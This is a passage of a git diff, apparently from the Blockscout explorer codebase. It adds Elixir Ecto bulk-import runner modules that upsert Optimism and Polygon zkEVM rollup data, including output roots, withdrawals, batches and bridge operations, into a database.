message.transfer_token_address_hash), + transfer_from_address_hash: + fragment("COALESCE(EXCLUDED.transfer_from_address_hash, ?)", message.transfer_from_address_hash), + transfer_to_address_hash: + fragment("COALESCE(EXCLUDED.transfer_to_address_hash, ?)", message.transfer_to_address_hash), + transfer_amount: fragment("COALESCE(EXCLUDED.transfer_amount, ?)", message.transfer_amount), + sent_to_multichain: fragment("COALESCE(EXCLUDED.sent_to_multichain, ?)", message.sent_to_multichain), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", message.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", message.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.sender_address_hash, EXCLUDED.target_address_hash, EXCLUDED.init_transaction_hash, EXCLUDED.block_number, EXCLUDED.timestamp, EXCLUDED.relay_chain_id, EXCLUDED.relay_transaction_hash, EXCLUDED.payload, EXCLUDED.failed, EXCLUDED.transfer_token_address_hash, EXCLUDED.transfer_from_address_hash, EXCLUDED.transfer_to_address_hash, EXCLUDED.transfer_amount) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", + message.sender_address_hash, + message.target_address_hash, + message.init_transaction_hash, + message.block_number, + message.timestamp, + message.relay_chain_id, + message.relay_transaction_hash, + message.payload, + message.failed, + message.transfer_token_address_hash, + message.transfer_from_address_hash, + message.transfer_to_address_hash, + message.transfer_amount + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/optimism/output_roots.ex b/apps/explorer/lib/explorer/chain/import/runner/optimism/output_roots.ex new file mode 100644 index 000000000000..d0027bc483f6 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/optimism/output_roots.ex @@ -0,0 +1,108 @@ +defmodule Explorer.Chain.Import.Runner.Optimism.OutputRoots do + @moduledoc """ + Bulk imports `t:Explorer.Chain.Optimism.OutputRoot.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.Optimism.OutputRoot + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [OutputRoot.t()] + + @impl Import.Runner + def ecto_schema_module, do: OutputRoot + + @impl Import.Runner + def option_key, do: :optimism_output_roots + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_output_roots, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :optimism_output_roots, + :optimism_output_roots + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [OutputRoot.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce OutputRoot ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.l2_output_index) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: OutputRoot, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :l2_output_index, + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + root in OutputRoot, + update: [ + set: [ + # don't update `l2_output_index` as it is a primary key and used for the conflict target + l2_block_number: fragment("EXCLUDED.l2_block_number"), + l1_transaction_hash: fragment("EXCLUDED.l1_transaction_hash"), + l1_timestamp: fragment("EXCLUDED.l1_timestamp"), + l1_block_number: fragment("EXCLUDED.l1_block_number"), + output_root: fragment("EXCLUDED.output_root"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", root.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", root.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.l2_block_number, EXCLUDED.l1_transaction_hash, EXCLUDED.l1_timestamp, EXCLUDED.l1_block_number, EXCLUDED.output_root) IS DISTINCT FROM (?, ?, ?, ?, ?)", + root.l2_block_number, + root.l1_transaction_hash, + root.l1_timestamp, + root.l1_block_number, + root.output_root + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/optimism/transaction_batches.ex b/apps/explorer/lib/explorer/chain/import/runner/optimism/transaction_batches.ex new file mode 100644 index 000000000000..ae846119fd34 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/optimism/transaction_batches.ex @@ -0,0 +1,101 @@ +defmodule Explorer.Chain.Import.Runner.Optimism.TransactionBatches do + @moduledoc """ + Bulk imports `t:Explorer.Chain.Optimism.TransactionBatch.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.Optimism.TransactionBatch + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [TransactionBatch.t()] + + @impl Import.Runner + def ecto_schema_module, do: TransactionBatch + + @impl Import.Runner + def option_key, do: :optimism_transaction_batches + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_transaction_batches, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :optimism_transaction_batches, + :optimism_transaction_batches + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [TransactionBatch.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce TransactionBatch ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.l2_block_number) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: TransactionBatch, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :l2_block_number, + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + tb in TransactionBatch, + update: [ + set: [ + # don't update `l2_block_number` as it is a primary key and used for the conflict target + frame_sequence_id: fragment("EXCLUDED.frame_sequence_id"), + frame_sequence_id_prev: tb.frame_sequence_id, + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", tb.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", tb.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.frame_sequence_id) IS DISTINCT FROM (?)", + tb.frame_sequence_id + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/optimism/withdrawal_events.ex b/apps/explorer/lib/explorer/chain/import/runner/optimism/withdrawal_events.ex new file mode 100644 index 000000000000..f2fe0077873d --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/optimism/withdrawal_events.ex @@ -0,0 +1,108 @@ +defmodule Explorer.Chain.Import.Runner.Optimism.WithdrawalEvents do + @moduledoc """ + Bulk imports `t:Explorer.Chain.Optimism.WithdrawalEvent.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.Optimism.WithdrawalEvent + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [WithdrawalEvent.t()] + + @impl Import.Runner + def ecto_schema_module, do: WithdrawalEvent + + @impl Import.Runner + def option_key, do: :optimism_withdrawal_events + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_withdrawal_events, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :optimism_withdrawal_events, + :optimism_withdrawal_events + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [WithdrawalEvent.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce WithdrawalEvent ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, &{&1.withdrawal_hash, &1.l1_event_type, &1.l1_transaction_hash}) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: WithdrawalEvent, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: [:withdrawal_hash, :l1_event_type, :l1_transaction_hash], + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + we in WithdrawalEvent, + update: [ + set: [ + # don't update `withdrawal_hash` as it is a part of the composite primary key and used for the conflict target + # don't update `l1_event_type` as it is a part of the composite primary key and used for the conflict target + # don't update `l1_transaction_hash` as it is a part of the composite primary key and used for the conflict target + l1_timestamp: fragment("EXCLUDED.l1_timestamp"), + l1_block_number: fragment("EXCLUDED.l1_block_number"), + game_index: fragment("EXCLUDED.game_index"), + game_address_hash: fragment("EXCLUDED.game_address_hash"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", we.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", we.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.l1_timestamp, EXCLUDED.l1_block_number, EXCLUDED.game_index, EXCLUDED.game_address_hash) IS DISTINCT FROM (?, ?, ?, ?)", + we.l1_timestamp, + we.l1_block_number, + we.game_index, + we.game_address_hash + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/optimism/withdrawals.ex b/apps/explorer/lib/explorer/chain/import/runner/optimism/withdrawals.ex new file mode 100644 index 000000000000..450c97b07017 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/optimism/withdrawals.ex @@ -0,0 +1,104 @@ +defmodule Explorer.Chain.Import.Runner.Optimism.Withdrawals do + @moduledoc """ + Bulk imports `t:Explorer.Chain.OptimismWithdrawal.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.Optimism.Withdrawal, as: OptimismWithdrawal + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [OptimismWithdrawal.t()] + + @impl Import.Runner + def ecto_schema_module, do: OptimismWithdrawal + + @impl Import.Runner + def option_key, do: :optimism_withdrawals + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_withdrawals, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :optimism_withdrawals, + :optimism_withdrawals + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [OptimismWithdrawal.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce OptimismWithdrawal ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.msg_nonce) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: OptimismWithdrawal, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :msg_nonce, + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + withdrawal in OptimismWithdrawal, + update: [ + set: [ + # don't update `msg_nonce` as it is a primary key and used for the conflict target + hash: fragment("EXCLUDED.hash"), + l2_transaction_hash: fragment("EXCLUDED.l2_transaction_hash"), + l2_block_number: fragment("EXCLUDED.l2_block_number"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", withdrawal.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", withdrawal.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.hash, EXCLUDED.l2_transaction_hash, EXCLUDED.l2_block_number) IS DISTINCT FROM (?, ?, ?)", + withdrawal.hash, + withdrawal.l2_transaction_hash, + withdrawal.l2_block_number + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/polygon_zkevm/batch_transactions.ex b/apps/explorer/lib/explorer/chain/import/runner/polygon_zkevm/batch_transactions.ex new file mode 100644 index 000000000000..c330da10e689 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/polygon_zkevm/batch_transactions.ex @@ -0,0 +1,79 @@ +defmodule Explorer.Chain.Import.Runner.PolygonZkevm.BatchTransactions do + @moduledoc """ + Bulk imports `t:Explorer.Chain.PolygonZkevm.BatchTransaction.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.PolygonZkevm.BatchTransaction + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [BatchTransaction.t()] + + @impl Import.Runner + def ecto_schema_module, do: BatchTransaction + + @impl Import.Runner + def option_key, do: :polygon_zkevm_batch_transactions + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_polygon_zkevm_batch_transactions, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :polygon_zkevm_batch_transactions, + :polygon_zkevm_batch_transactions + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [BatchTransaction.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = _options) when is_list(changes_list) do + # Enforce PolygonZkevm.BatchTransaction ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.hash) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: BatchTransaction, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :hash, + on_conflict: :nothing + ) + + {:ok, inserted} + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/polygon_zkevm/bridge_l1_tokens.ex b/apps/explorer/lib/explorer/chain/import/runner/polygon_zkevm/bridge_l1_tokens.ex new file mode 100644 index 000000000000..03ed1bd5783c --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/polygon_zkevm/bridge_l1_tokens.ex @@ -0,0 +1,101 @@ +defmodule Explorer.Chain.Import.Runner.PolygonZkevm.BridgeL1Tokens do + @moduledoc """ + Bulk imports `t:Explorer.Chain.PolygonZkevm.BridgeL1Token.t/0`. + """ + + require Ecto.Query + + import Ecto.Query, only: [from: 2] + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.PolygonZkevm.BridgeL1Token + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [BridgeL1Token.t()] + + @impl Import.Runner + def ecto_schema_module, do: BridgeL1Token + + @impl Import.Runner + def option_key, do: :polygon_zkevm_bridge_l1_tokens + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_polygon_zkevm_bridge_l1_tokens, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :polygon_zkevm_bridge_l1_tokens, + :polygon_zkevm_bridge_l1_tokens + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [BridgeL1Token.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce BridgeL1Token ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, &{&1.address}) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + conflict_target: :address, + on_conflict: on_conflict, + for: BridgeL1Token, + returning: true, + timeout: timeout, + timestamps: timestamps + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + t in BridgeL1Token, + update: [ + set: [ + decimals: fragment("EXCLUDED.decimals"), + symbol: fragment("EXCLUDED.symbol"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", t.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", t.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.decimals, EXCLUDED.symbol) IS DISTINCT FROM (?, ?)", + t.decimals, + t.symbol + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/polygon_zkevm/bridge_operations.ex b/apps/explorer/lib/explorer/chain/import/runner/polygon_zkevm/bridge_operations.ex new file mode 100644 index 000000000000..6cd724fe70cb --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/polygon_zkevm/bridge_operations.ex @@ -0,0 +1,115 @@ +defmodule Explorer.Chain.Import.Runner.PolygonZkevm.BridgeOperations do + @moduledoc """ + Bulk imports `t:Explorer.Chain.PolygonZkevm.Bridge.t/0`. + """ + + require Ecto.Query + + import Ecto.Query, only: [from: 2] + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.PolygonZkevm.Bridge, as: PolygonZkevmBridge + alias Explorer.Prometheus.Instrumenter + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [PolygonZkevmBridge.t()] + + @impl Import.Runner + def ecto_schema_module, do: PolygonZkevmBridge + + @impl Import.Runner + def option_key, do: :polygon_zkevm_bridge_operations + + @impl Import.Runner + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_polygon_zkevm_bridge_operations, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :polygon_zkevm_bridge_operations, + :polygon_zkevm_bridge_operations + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [PolygonZkevmBridge.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce PolygonZkevmBridge ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, &{&1.type, &1.index}) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + conflict_target: [:type, :index], + on_conflict: on_conflict, + for: PolygonZkevmBridge, + returning: true, + timeout: timeout, + timestamps: timestamps + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + op in PolygonZkevmBridge, + update: [ + set: [ + # Don't update `type` as it is part of the composite primary key and used for the conflict target + # Don't update `index` as it is part of the composite primary key and used for the conflict target + l1_transaction_hash: fragment("COALESCE(EXCLUDED.l1_transaction_hash, ?)", op.l1_transaction_hash), + l2_transaction_hash: fragment("COALESCE(EXCLUDED.l2_transaction_hash, ?)", op.l2_transaction_hash), + l1_token_id: fragment("COALESCE(EXCLUDED.l1_token_id, ?)", op.l1_token_id), + l1_token_address: fragment("COALESCE(EXCLUDED.l1_token_address, ?)", op.l1_token_address), + l2_token_address: fragment("COALESCE(EXCLUDED.l2_token_address, ?)", op.l2_token_address), + amount: fragment("EXCLUDED.amount"), + block_number: fragment("COALESCE(EXCLUDED.block_number, ?)", op.block_number), + block_timestamp: fragment("COALESCE(EXCLUDED.block_timestamp, ?)", op.block_timestamp), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", op.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", op.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.l1_transaction_hash, EXCLUDED.l2_transaction_hash, EXCLUDED.l1_token_id, EXCLUDED.l1_token_address, EXCLUDED.l2_token_address, EXCLUDED.amount, EXCLUDED.block_number, EXCLUDED.block_timestamp) IS DISTINCT FROM (?, ?, ?, ?, ?, ?, ?, ?)", + op.l1_transaction_hash, + op.l2_transaction_hash, + op.l1_token_id, + op.l1_token_address, + op.l2_token_address, + op.amount, + op.block_number, + op.block_timestamp + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/polygon_zkevm/lifecycle_transactions.ex b/apps/explorer/lib/explorer/chain/import/runner/polygon_zkevm/lifecycle_transactions.ex new file mode 100644 index 000000000000..a7260a787c01 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/polygon_zkevm/lifecycle_transactions.ex @@ -0,0 +1,103 @@ +defmodule Explorer.Chain.Import.Runner.PolygonZkevm.LifecycleTransactions do + @moduledoc """ + Bulk imports `t:Explorer.Chain.PolygonZkevm.LifecycleTransaction.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.PolygonZkevm.LifecycleTransaction + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [LifecycleTransaction.t()] + + @impl Import.Runner + def ecto_schema_module, do: LifecycleTransaction + + @impl Import.Runner + def option_key, do: :polygon_zkevm_lifecycle_transactions + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_polygon_zkevm_lifecycle_transactions, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :polygon_zkevm_lifecycle_transactions, + :polygon_zkevm_lifecycle_transactions + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [LifecycleTransaction.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce PolygonZkevm.LifecycleTransaction ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.id) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: LifecycleTransaction, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :hash, + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + transaction in LifecycleTransaction, + update: [ + set: [ + # don't update `id` as it is a primary key + # don't update `hash` as it is a unique index and used for the conflict target + is_verify: fragment("EXCLUDED.is_verify"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", transaction.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", transaction.updated_at) + ] + ], + where: + fragment( + "(EXCLUDED.is_verify) IS DISTINCT FROM (?)", + transaction.is_verify + ) + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/import/runner/polygon_zkevm/transaction_batches.ex b/apps/explorer/lib/explorer/chain/import/runner/polygon_zkevm/transaction_batches.ex new file mode 100644 index 000000000000..e2b8930b1828 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/import/runner/polygon_zkevm/transaction_batches.ex @@ -0,0 +1,114 @@ +defmodule Explorer.Chain.Import.Runner.PolygonZkevm.TransactionBatches do + @moduledoc """ + Bulk imports `t:Explorer.Chain.PolygonZkevm.TransactionBatch.t/0`. + """ + + require Ecto.Query + + alias Ecto.{Changeset, Multi, Repo} + alias Explorer.Chain.Import + alias Explorer.Chain.PolygonZkevm.TransactionBatch + alias Explorer.Prometheus.Instrumenter + + import Ecto.Query, only: [from: 2] + + @behaviour Import.Runner + + # milliseconds + @timeout 60_000 + + @type imported :: [TransactionBatch.t()] + + @impl Import.Runner + def ecto_schema_module, do: TransactionBatch + + @impl Import.Runner + def option_key, do: :polygon_zkevm_transaction_batches + + @impl Import.Runner + @spec imported_table_row() :: %{:value_description => binary(), :value_type => binary()} + def imported_table_row do + %{ + value_type: "[#{ecto_schema_module()}.t()]", + value_description: "List of `t:#{ecto_schema_module()}.t/0`s" + } + end + + @impl Import.Runner + @spec run(Multi.t(), list(), map()) :: Multi.t() + def run(multi, changes_list, %{timestamps: timestamps} = options) do + insert_options = + options + |> Map.get(option_key(), %{}) + |> Map.take(~w(on_conflict timeout)a) + |> Map.put_new(:timeout, @timeout) + |> Map.put(:timestamps, timestamps) + + Multi.run(multi, :insert_polygon_zkevm_transaction_batches, fn repo, _ -> + Instrumenter.block_import_stage_runner( + fn -> insert(repo, changes_list, insert_options) end, + :block_referencing, + :polygon_zkevm_transaction_batches, + :polygon_zkevm_transaction_batches + ) + end) + end + + @impl Import.Runner + def timeout, do: @timeout + + @spec insert(Repo.t(), [map()], %{required(:timeout) => timeout(), required(:timestamps) => Import.timestamps()}) :: + {:ok, [TransactionBatch.t()]} + | {:error, [Changeset.t()]} + def insert(repo, changes_list, %{timeout: timeout, timestamps: timestamps} = options) when is_list(changes_list) do + on_conflict = Map.get_lazy(options, :on_conflict, &default_on_conflict/0) + + # Enforce PolygonZkevm.TransactionBatch ShareLocks order (see docs: sharelock.md) + ordered_changes_list = Enum.sort_by(changes_list, & &1.number) + + {:ok, inserted} = + Import.insert_changes_list( + repo, + ordered_changes_list, + for: TransactionBatch, + returning: true, + timeout: timeout, + timestamps: timestamps, + conflict_target: :number, + on_conflict: on_conflict + ) + + {:ok, inserted} + end + + defp default_on_conflict do + from( + tb in TransactionBatch, + update: [ + set: [ + # don't update `number` as it is a primary key and used for the conflict target + timestamp: fragment("EXCLUDED.timestamp"), + l2_transactions_count: fragment("EXCLUDED.l2_transactions_count"), + global_exit_root: fragment("EXCLUDED.global_exit_root"), + acc_input_hash: fragment("EXCLUDED.acc_input_hash"), + state_root: fragment("EXCLUDED.state_root"), + sequence_id: fragment("EXCLUDED.sequence_id"), + verify_id: fragment("EXCLUDED.verify_id"), + inserted_at: fragment("LEAST(?, EXCLUDED.inserted_at)", tb.inserted_at), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", 